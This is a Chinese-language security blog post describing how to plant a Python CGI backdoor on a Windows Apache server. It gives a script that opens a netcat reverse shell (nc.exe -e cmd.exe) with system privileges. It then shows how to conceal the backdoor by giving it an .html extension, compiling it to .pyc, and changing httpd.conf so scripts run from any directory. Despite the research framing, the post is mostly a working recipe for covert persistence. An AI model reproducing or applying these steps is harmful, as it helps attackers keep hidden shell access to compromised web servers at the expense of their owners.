• 欢迎访问挑战自我博客网站,安全研究,web渗透,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入挑战自我博客网站 网站主页

构建基于windows下python语言的CGI网站后门研究

python 挑战自我 185次浏览 未收录 0个评论

1、文章背景

今日,友人说他在CGI上布控了一个后门,我大体看了下,网站是基于python的CGI架构,用的是Apache的程序。总体后门就是在WEB网站上布控了一个python的一句话脚本,但是这个python脚本和php、asp、JSP的一句话菜刀木马不太一样,它具备直接反弹shell的功能,所以总体上思路还是不错的,对我有所启发,我这边简单还原了下场景,记录下过程。

2、安装基于python的CGI程序有多少种办法

这一块仿佛触到了我的知识盲区,所以心虚的赶紧查阅了下网站的公开资料,大体上有如下几种方式:
一是下载Apache程序,然后配置CGI选项;

二是下载python3程序,然后利用自带的CGI服务器

python -m http.server --cgi 8081

三是下WAMP程序,这个其实和第一种方法是一样的,都是利用基于Apache的CGI程序

还有其他方法的清大家补充

3、下载安装Apache程序

为了简单点,我使用第一种方法,直接在windows上安装Apache服务器
首先从官网下载最新稳定版本的Apache服务器,链接如下:

https://www.apachehaus.com/cgi-bin/download.plx

配置过程我也不多言了,很简单,我懒的写,给大家找了一个链接:

https://blog.csdn.net/liweibin812/article/details/83348075

4、基于python的后门测试

首先,测试下命令执行,写入一个python文件shell.py,代码如下

#!c:/python27/python.exe
#coding=utf-8

import os

os.popen('cmd /c start calc.exe')

把这个test.py文件放入 C:\web\Apache24\cgi-bin 目录,接着浏览器直接访问如下链接:

http://127.0.0.1/cgi-bin/shell.py

查看系统进程,可以看到多了一个calc.exe程序,并且是系统权限的

构建基于windows下python语言的CGI网站后门研究

接着,我们测试下反弹shell,写入一个python文件shell.py,代码如下:

#!c:/python27/python.exe
#coding=utf-8

import os

os.popen('c:/nc.exe -e cmd.exe 127.0.0.1 4444')

本地先用NC监听4444端口,然后访问shell.py文件,效果如下:

构建基于windows下python语言的CGI网站后门研究

 

可以看到,本地成功接收了反弹的shell,而且当前的权限为系统权限

5、其他进阶测试

总的来说,思路的精髓就是上面的思路了,但是这样可能还远远不够,作为一个安全爱好者,我们要的就是追求更多更好的利用场景或者代码脚本隐藏方式

5.1、CGI的配置文件研究

继续研究CGI的配置过程,通过修改conf目录下的httpd.conf文件,从而让网页支持py的文件解析,如下列代码所示:

AllowOverride None
Options None
AddHandler cgi-script .py
Require all granted

在默认配置的基础上添加了第四行,支持.py文件。这样从理论上而言,网页就可以正常解析python文件了。
但是,我尝试不加这一句,发现python程序在CGI目录下仍然可以正常解析,经过研究,原来是python程序下面这一行起着关键性作用

#!c:/python27/python.exe

这行代码就相当于为程序设定了解析器路径,而且我们如果系统环境变量配置好了的话,我们还可以简写成如下代码:

#!python

5.2、后门后缀文件修改

基于python程序的解析器是不管你程序的后缀的,可以简单测试一下

构建基于windows下python语言的CGI网站后门研究

 

可以看到,python程序的后缀对python来说并不重要,那么我们上面说的后门也可以这么隐藏起来。

把上面的shell.py改成shell.html,我们运行看看效果

构建基于windows下python语言的CGI网站后门研究

 

效果同样,这个就非常好了

5.3、后门文件编码隐藏

如果代码就这么放到服务器上是肯定不合适的,所以要做一些编码或者加密设置方面的研究。
首先,我们在布控隐蔽后门的时候不要直接放置py文件,可以放置pyc文件,这样反查的时候还是有“反编译”大哥帮我们阻挡一下的
python文件转化为pyc文件只需要如下命令即可:

python -m shell.py

这样就会生成shell.pyc文件,一开始CGI程序没有解析我们的pyc文件,报错信息如下:

C:/web/Apache24/cgi-bin/123.pyc is not executable; ensure interpreted scripts have "#!" or "'!" first line

经过资料和友人佐证,我们需要在CGI的配置文件中加入如下一句话代码:

ScriptInterpreterSource Registry

添加这句代码的用意是让Windows用Registry来找到Python的安装地方,这样就可以执行pyc文件了

构建基于windows下python语言的CGI网站后门研究

 

非常遗憾的告诉大家,目前的研究进展是pyc文件好像不能重命名为其他后缀。

5.4、任意位置隐藏后门文件

有了上面的基础,我们还可以更进一步,参考下面的文章

https://www.jb51.net/article/18993.htm

在httpd.conf配置文件中,添加如下设置

Options Indexes FollowSymLinks 

改成

Options Indexes FollowSymLinks ExecCGI
AddHandler cgi-script .cgi .pl .py 

(这个不要加在CGI的单独配置下面,要放在全局下面)

ExecCGI是让python script可以运行在任意目录下面,因为Apache默认是让cgi script运行在cgi-bin目录下,所以加了上面两句话之后,我们的python脚本就可以运行在任何目录了。例如把程序放在网站根目录:

构建基于windows下python语言的CGI网站后门研究

 

6、可能发生的错误

6.1、malformed header from script ‘123.py’: Bad header

具体代码如下:

#!c:/python27/python.exe
#coding=utf-8

import os
print '2232323'

由于CGI程序一开始会检查程序的头部,而且是以换行为头部终止符的,如果你没有定义程序的类型,那么就打印一个换行符就可以了,这样也算告诉CGI你的头部到此结束了。所以我们把代码改成如下形式就可以了

import os

print '\n'
print '2232323'

未完待续,待研究再补充过来


挑战自我博客, 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明构建基于windows下python语言的CGI网站后门研究
喜欢 (6)
支付宝[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址